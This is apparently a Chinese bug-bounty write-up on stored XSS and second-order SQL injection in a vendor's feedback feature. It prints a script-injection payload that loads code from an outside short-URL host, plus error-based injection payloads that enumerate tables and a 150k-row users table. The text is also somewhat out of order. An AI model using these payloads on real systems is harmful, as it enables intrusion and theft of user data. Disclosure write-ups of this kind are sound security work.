【知识】1月14日 - 每日安全知识热点
热点概要:UTF-8非最短形式及编码安全问题、加固Windows10 0 day利用缓解、Google基础设施安全设计概述、一种浏览器指纹识别技术
国内热词(以下内容部分摘自http://www.solidot.org/):
在开始之前我们先来聊聊众测那些事儿吧,就当前本文的一个前言了。笔者接触到"众测"这个词算是大概一年前了吧,然而真正去做众测项目却是在不久前开始的。众测,顾名思义就是许多白帽子一起测试安全性的意思。比较正式的说法是: 所谓安全众测,就是众包(Crowd-sourcing)模式在安全测试领域的一种表现。也就是企业把自己的产品给到安全众测平台,由平台的安全人员(这些安全人员也不隶属平台,而是来自互联网)进行安全测试。 笔者是在1个月前参加的这个众测项目。厂商发布的项目中包含了Web和APP。在web端提交几个低危漏洞之后的一两天便没有再继续。有一天中午睡午觉,在几次失败的睡眠尝试后,终于拿起了手机。看到了之前下载的该厂商app,便在自己的安卓机上把玩了起来,不一会儿就发现了一个反馈问题的地方发现了存储型XSS漏洞。这是一个常见的功能,大多网站都有,用户发布问题之后,后台管理员会回复,当然,其他用户也会在常见问题当中看到你发布的问题详情。也就意味着这个存储XSS不仅能够对普通用户造成威胁而且可以盲打后台管理。 那是一个叫"服务中心"的位置,笔者在提问的内容中插入了XSS Payload,如下如: 成功提交之后,到我的提问去查看。点击刚刚提交的那条问题,查看详情。是不是很惊讶!以及 约莫到了下午上班时间,后台客服去查看我的提问了,于是他也中招了: 可惜的是后台存在于内网10.97……这个网段,外网不能直接访问。要不然进入后台,说不定还有更大的收获呢! 一向充满好奇心的我在想,既然提问内容存在漏洞,那么提问标题是否也有XSS呢?试试就知道了。 插入标题部分提交后去我的问题看看,在问题列表部分就看到了(<)(>)都被转义了。直觉告诉我没戏了。 但就在我点进问题详情页的时候奇迹发生了,详情页居然报错了,看到syntax 字样的同时,我几乎100%确定这里有SQL注入漏洞: 这里除了爆出了SQL语句外,而且还爆出了大量源码,从源码中得知,这里用了Yii Framwork。 因为厂商定义的高危漏洞上说是重要数据库的SQL注入,为了防止到时候因为漏洞定级时后的无意义扯皮,还是得向厂商证明这里漏洞的危害性有多大。 包含列有: 看到有15W+的数据之后,我一颗躁动的心终于安稳下来了。 二次SQL注入,由于注入点跟触发点不同,所以不能直接使用自动化工具(如sqlmap等)直接注入。但是在咨询海贼牛(ID:索马里的海贼)之后,他告诉我,可以用中转注入,在本地用php或python写一个中转(作用很简单,就是一个POST发包,外加将问题详情页的内容echo出来),然后就可以用sqlmap来自动化注入了。0x01 众测那些事儿
众测这个词在安全界也是耳熟能详的一个词了。众测也是白帽子用自身技术优势获利的一种方式。就拿前不久补天出的一个新闻来说吧,在去年11月份,360众测中排名第一的白帽子收入大概是税后34W,这个收入可以说是相当可观的了。另外,对于白帽子来说,一个众测项目下来对自己的技术能力也会有很大的提升。0x02 从APP开始
0x03 存储型XSS的挖掘过程
在接下来的几个小时里,也有部分其他用户中招:
到了这里,漏洞是证明了,可以爬起来去提交了(其实发现漏洞立马就从床上下来去提交了呢)。那么是否就意味着结束了呢?0x04 从XSS到二次SQL注射
直接用上边的payload测试的话是不行滴,原因很简单:太长了!那么来个短一点的吧:</textarea>'"><script src=http://t.cn/RVDIigD></script>
SQL语句本身很长,下面列出来的是输入标题为(")的SQL爆出的语句:select * from questions where id!=42340 and state>=0 and used=1 and user_type=0 and (title like "%"%" or keywords like "%"%" or title like "%%%%%%" or keywords like "%%%%%%" ) order by (CASE WHEN title LIKE '%"%' THEN 2 ELSE 0 END) + (CASE WHEN keywords LIKE '%"%' THEN 1 ELSE 0 END)+ (CASE WHEN title LIKE '%%%%%%' THEN 2 ELSE 0 END) + (CASE WHEN keywords LIKE '%%%%%%' THEN 1 ELSE 0 END) desc, on_top_time desc,hot_num desc,lastest_time desc,id limit 4
(PS:从语句本身可以看出SQL的功能就是查询哪条提问。但是让我纳闷的是,开发竟然直接用了like来查询,带入id不久能查询了。后来看到上边的图二的时候,我明白了,原来详情页除了有该问题外还有个相关问题。)
下面来构造语句证明漏洞吧:)
这里爆出了SQL语句,构造起来就方便多了。分析一下,SQL语句中参数出现的位置很多,第一次出现是在"where … and (title like "%"%" …… "
闭合这里的("后利用报错注入的方式构造出以下poc,在提问标题中插入后到问题详情页查看触发SQL注入:") and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
对于这里的SQL注入,先在提交问题的地方插入恶意payload,之后在查看详情的位置触发漏洞。也就是常说的"二次SQL注射"。
这里就已经简单的证明了漏洞的存在性。在看了厂商对于漏洞等级的定义之后,我决定进一步深入一下。
0x05 从SQL注射到15w内部用户数据泄露
为了操作方便,给手机用代理抓了一下相关数据包。利用burpsuite快速地进行发包:
%22)+and+(extractvalue(1%2Cconcat(0x7e%2C(select+database())%2C0x7e)))%23
%22)+and+(extractvalue(1%2Cconcat(0x7e%2C(select+database())%2C0x7e)))%23
%22)+and+(extractvalue(1%2Cconcat(0x7e%2C(select+table_name+from+information_schema.tables+where+table_schema='service'+limit+0%2C1)%2C0x7e)))%23
通过limit用burp自动化模块(intruder)快速得到数据库下的所有表,一共23个表,其中看到了一个特殊的数据表:users
%22)+and+(extractvalue(1%2Cconcat(0x7e%2C(select+column_name+from+information_schema.columns+where+table_schema='service'+and+table_name='users'+limit+11%2C1)%2C0x7e)))%23
id name password private department state create_time email type
%22)+and+(extractvalue(1%2Cconcat(0x7e%2C(select+count(name)+from+service.users+limit+0%2C1)%2C0x7e)))%23
0x06 关于二次SQL注入的思考
那段时间我有尝试过用php来写一个中转,但是出了点问题,那就是那个包始终发布出去(估计是因为此处用了ajax的原因吧)。后来,厂商立马修复了这个漏洞,便没有机会再测试了。但是这个思路确实不错,可以借鉴。0x
没有评论:
发表评论